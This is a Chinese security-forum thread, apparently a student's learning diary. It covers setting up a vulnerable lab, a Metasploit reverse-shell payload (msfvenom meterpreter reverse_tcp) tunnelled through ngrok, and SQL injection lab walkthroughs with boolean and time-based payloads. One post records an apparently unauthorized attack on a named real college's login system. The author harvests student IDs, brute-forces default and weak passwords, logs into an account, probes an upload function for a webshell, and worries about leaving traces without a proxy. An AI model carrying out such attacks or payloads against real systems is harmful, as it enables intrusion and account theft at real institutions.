安全矩阵

 找回密码
 立即注册
搜索
楼主: wholesome

侯欣悦学习日记

[复制链接]

34

主题

120

帖子

559

积分

高级会员

Rank: 4

积分
559
 楼主| 发表于 2020-4-25 15:45:47 | 显示全部楼层
回复

使用道具 举报

34

主题

120

帖子

559

积分

高级会员

Rank: 4

积分
559
 楼主| 发表于 2020-4-30 12:00:33 | 显示全部楼层
本帖最后由 wholesome 于 2020-4-30 14:43 编辑

搭建环境搭了好几天!第一天,还得理清搭建思路,虽然有教程!但是还是比较困难!各种合作查资料,查文档!第二天理清了一部分,但是安装的时候频频出问题,不断重头开始!同时,开启了对网站登录框的测试,没有怎么有收获!(有点慌呀)第三天,环境感觉搭得还不错!但是访问不了!询问作者,配置nginx:web服务和代理,于是又开始了一天的百度。第四天,同样的问题,依旧没有得到解决:发现防火墙也关闭了,主机curl以及ping都能成功连接虚拟机靶场,但是浏览器就是访问不了,(访问的时候,会出现一个绿色标志,但是一会就访问失败)于是抱着试试的心态私聊了以下这篇文章的作者(因为我的环境是按照该文搭建的)

幸运的是有了回复!最后在我还没有解决的时候

(莫名有点小害怕
行!那就百度网盘里面传过去吧!文件太大,开通了网盘会员,(上传速度也太慢了吧,换了个网!速度还不错:1.7MB/S)希望最后能得到解决



补:
最后,问题完美解决!其实问题也是一个小小的问题,但是自己复现的时候就是各种不成功!在教程原文有这样一句话


这句话!误解了!原来是这样:


一针见血!这下我终于可以访问了!
再贴一点大佬的建议吧,希望对搭建环境的小伙伴有帮助:


最后总结:
搭建环境确实需要足够的毅力和耐心!本来已经想放弃,但是(不敢放弃)感谢作者的耐心解答!每一句说的都是一针见血!没有一句废话!
参考链接:
https://www.mzxh.xyz/2020/04/23/vulfocus%E6%9C%AC%E5%9C%B0%E5%8C%96%E9%83%A8%E7%BD%B2/#footer
https://www.anquanke.com/post/id/203735









本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

34

主题

120

帖子

559

积分

高级会员

Rank: 4

积分
559
 楼主| 发表于 2020-4-30 22:36:09 | 显示全部楼层
本帖最后由 wholesome 于 2020-5-2 09:20 编辑

第一个目标:重庆经贸职业学院
(界面还挺好看,点一下会变一个主题)
随意测试账号:
点击密码的时候会提示用户名不存在(我滴个乖乖!这也太直接了吧)
学院官网主页找找有什么泄露可利用的账号。
没过多久就找到赤裸裸的“附表名单”:
大概有130个人:
现在第一个申请人试试:
再随便点点注意事项:
默认密码123456
输入密码:
当我输入第二次密码:
发现验证码没有替换。
试试爆破吧!固定密码123456,爆破用户,制作字典:
将那130个学号复制到Excel表,截取学号一栏:
保存11.txt:
爆破之后发现似乎没有用的!哎!迷茫了!试了一些人的弱口令!没有成功!于是在星期二之后就在没有碰过这个网站。
星期五了,在重庆的各个大学都大致走了一遍,发现有OA系统的都关闭服务器了,兜兜转转,还是测试星期二那个系统吧!
随便测试一个:
默认密码123456不对,那就再试试名字+数字:ljh123456
Duang地就看见浏览器跳转了页面!
左下角的OA系统引起了我的注意,但是无法访问。找找其他突破口。点击教务系统和学工系统,显示:
有一个Tomcat图标,总感觉有点什么,但是没有思路!
本来想测试admin/administrator管理员是否存在,但是登录框说不存在!疑惑就是要么名字不对,要么就是后台链接不在此,搜索了后台但是没有找到!该生文件上传只出现在修改头像:
试试看!能不能做点什么:
然而我又发现我没有开代理池,以至于下面的登录查询:
(这可咋办?)还好我还没有传马儿上去!




本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

34

主题

120

帖子

559

积分

高级会员

Rank: 4

积分
559
 楼主| 发表于 2020-5-2 13:38:22 | 显示全部楼层
回复

使用道具 举报

34

主题

120

帖子

559

积分

高级会员

Rank: 4

积分
559
 楼主| 发表于 2020-5-3 23:37:54 | 显示全部楼层
本帖最后由 wholesome 于 2020-5-6 16:37 编辑

5.5.2020
今天空闲的时间看了《Metaspolit下配合Ngrok同时实现内网反弹+转发》发现这篇文章最开始就吸引了我:

这个特别符合我的情况,内网到内网,一直是我的一个疑惑点,所以鱼和熊掌我也都要!
一、Ngrok(基于Go语言编写)
首先了解这个工具吧!这个工具很重要来着。
注册:
登录:
​开通隧道:
根据自己的系统下载客户端:
下载后解压到虚拟机:
  1. msfvenom -p windows/meterpreter/reverse_tcp LHOST=wholesome.free.idcfengye.com LPORT=4443 -f exe -a x86 --platform win -o gong32.exe
复制代码
然后又在kali中运行Ngrok的客户端:
回车执行:
接下来配置监听:
​刚想下载到windows10:
发给对方:
小伙伴执行之后:
​这是成功了还是失败了?我觉得我应该成功了,
卡住不动了,再来,exit:
还有session没有关闭,好激动:
但是我发现交互不了:
但是小伙伴的执行,她成功得到了我的shell:
所以我重新来一遍,然而重来几遍都不行!甚至连我局域网内执行都不可以!
昨天没成功,重新开通一个隧道,改成tcp(昨天是http):
Kali生成反弹木马:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=free.idcfengye.com LPORT=10145 -f exe --platform win -o 32.exe
启动隧道:
./sunny clientid 5e7b1cb532c5c0b5
纠结了半天,原来是kali断网了。
重启终于有网:
这次终于成功了:


回复

使用道具 举报

34

主题

120

帖子

559

积分

高级会员

Rank: 4

积分
559
 楼主| 发表于 2020-5-10 08:10:03 | 显示全部楼层
回复

使用道具 举报

34

主题

120

帖子

559

积分

高级会员

Rank: 4

积分
559
 楼主| 发表于 2020-5-12 19:13:43 | 显示全部楼层
本帖最后由 wholesome 于 2020-5-12 20:35 编辑

sec119第一关:显错注入
工具:firefox
只能说好久没有练习SQL注入了,以至于最开始一点都不熟练。
看看别人怎么做的吧!
通过id变换,可以发现页面的一点点变化,当id=2时:
首先最直接的反应是单引号:
值得注意的是,经过我的实验发现,网站过滤了注释符“#”、“-- ”:
接下来开始猜测字段数了:
最后可以知晓字段数为2。
现在就开始测试回显在第几列:
既然在第二列,那么我们就可以利用这个地方回显出我们需要的东西,获取当前用户,数据库版本,当前数据库,数据库路径:
接下来就是爆表了:
其中有一个flag表:
接下来爆值:
得到flag:


本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

34

主题

120

帖子

559

积分

高级会员

Rank: 4

积分
559
 楼主| 发表于 2020-5-12 20:19:48 | 显示全部楼层
本帖最后由 wholesome 于 2020-5-12 20:34 编辑

sec119第二关:布尔注入
布尔注入与上面报错注入不一样,页面没有回显字段:
当order by<=2时,我们视为正确返回,但是当order by=3时,我们的界面返回有变化,由此确定字段个数为2。
注意,由于布尔盲注一般没有回显字段,所以就不支持联合查询。
此时我们构造SQL语句,利用and,or等关键字来其后的语句 true 、 false使web页面返回true或者false,从而达到注入的目的来获取信息。
猜解当前数据库的长度:
一直测试到5,此时我们发现页面可以正常显示:数据库长度为5。
现在就是开始猜测数据库名称了,从左到右截取字符串:
接下来又固定w,测试第二个字符:
再试:
最后循环测试(工作量比较大),得到数据库名字为webug:
当然除了用left函数猜测,还可以使用substr函数爆出:
最后也会得到webug数据库名。
此外,如果也可以用< 、>符号来比较查找,找到一个范围,最后再确定,如:
此时我们就可以确定第二个字符为e。
接下来爆当前数据库存在的表的数量:
7个表,接下来每个表都要爆出表长和表名。这个工作量太大了先猜测第一个表的长度吧:
?id=1' and (length((select table_name from information_schema.tables where table_schema=database() limit 0,1)))=9%23
第一个表的长度为9。
注意:括号一个也不能少。
同理,此时我们可以猜测其他表的长度:
以此类推,7个表的长度分别为:9/8/8/4/12/4/9
接下来测试每个表的名称了:
?id=1' and (substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>'a'%23
最后测出第一个表的首字母为d:
第二个字符为a。
......
由此类推。测出每个表的名称。
最后,如果花费时间爆表的话,我们能够知道这些表的名称和第一关一样,这里我就贴出第一关表的结果:
正常原理来说,还是flag,不知道里面的flag是否是动态的。那我们直接测试flag表:
先求指定表中列的数量:
然后猜解每一列的名字:
?id=1' and (substr((select column_name from information_schema.columns where table_name='flag' limit 0,1),1,1))='i'%23
以此类推,猜解出两列的名称id,flag
然后猜解id列里面字段的数量和名称,显示只有一个1,接下来对应id=1猜解flag列的内容长度和值:
?id=1' and (length((select flag from flag where id=1)))=16%23
第一个字母为d,由此猜测16个字母为:dfafdasfafdsadfa。与第一关的flag一致。提交之后是错误的:
那么flag不应该在这个表。
七个表!一个一个猜解?总之思路就这样,考虑到时间,我就不写了!

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

34

主题

120

帖子

559

积分

高级会员

Rank: 4

积分
559
 楼主| 发表于 2020-5-12 20:32:00 | 显示全部楼层
sec119第三关:延时注入
延时注入适用于,无法回现和无法显示错误页面的场景,此时我们可以利用sleep()函数让服务器休眠,通过休眠时间判断执行的语句对错,从而得到我们想要的信息。
那么怎么判断呢?这个时候我们就要用到if()函数和sleep()函数了。if(a,b,c)条件判断函数:if判断句,a为条件,b、c为执行语句;如果a为真就执行b,a为假就执行c;
?id=1' and if(length(database())=1,0,sleep(3))%23
所以时间长度为5。
测试数据库名称:
?id=1' and if(substr(database(),1,1)='w',0,sleep(3))%23
所以数据库名的第一个字符为:“w”
当然,为了方便,我们也可以采用left函数:
这个时候测试猜解就比较容易看到已经猜解的字符:
?id=1' and if(left(database(),5)='webug',0,sleep(3))%23
最后猜解出数据库名webug:
接下来就要猜解数据库里面的表的个数:
?id=1' and if((select count(table_name) from information_schema.tables where table_schema=database())=7,0,sleep(3))%23
猜解表名:
?id=1' and if(left((select table_name from information_schema.tables where table_schema=database() limit 0,1),1)='c',0,sleep(3))%23
接着尝试:
由此可知,第一个字符为:“d”
依次类推,爆出webug下的表:
data_crud,env_list,env_path,flag,sqlinjection,user,user_test
利用延时注入爆env_list表下的列:
?id=1' and if(left((select column_name from information_schema.columns where table_name='env_list' limit 0,1),1)='i',0,sleep(3))%23
env_list的表里有:
id,envName,envDesc,envIntegration,delFlag,envFlag,level,type
需要是的注意的是,由于这里是第三关,所以我们利用延时注入爆id=3时envFlag内容:
?id=1' and if(substr((select EnvFlag from env_list where id=3),1,1)='g',0,sleep(3))%23
flag第一个字符为g,为了方便使用left函数:
最后flag为:gfdgdfsdg

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

34

主题

120

帖子

559

积分

高级会员

Rank: 4

积分
559
 楼主| 发表于 2020-5-14 14:36:03 | 显示全部楼层
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2020-5-27 03:49 , Processed in 0.017868 second(s), 17 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表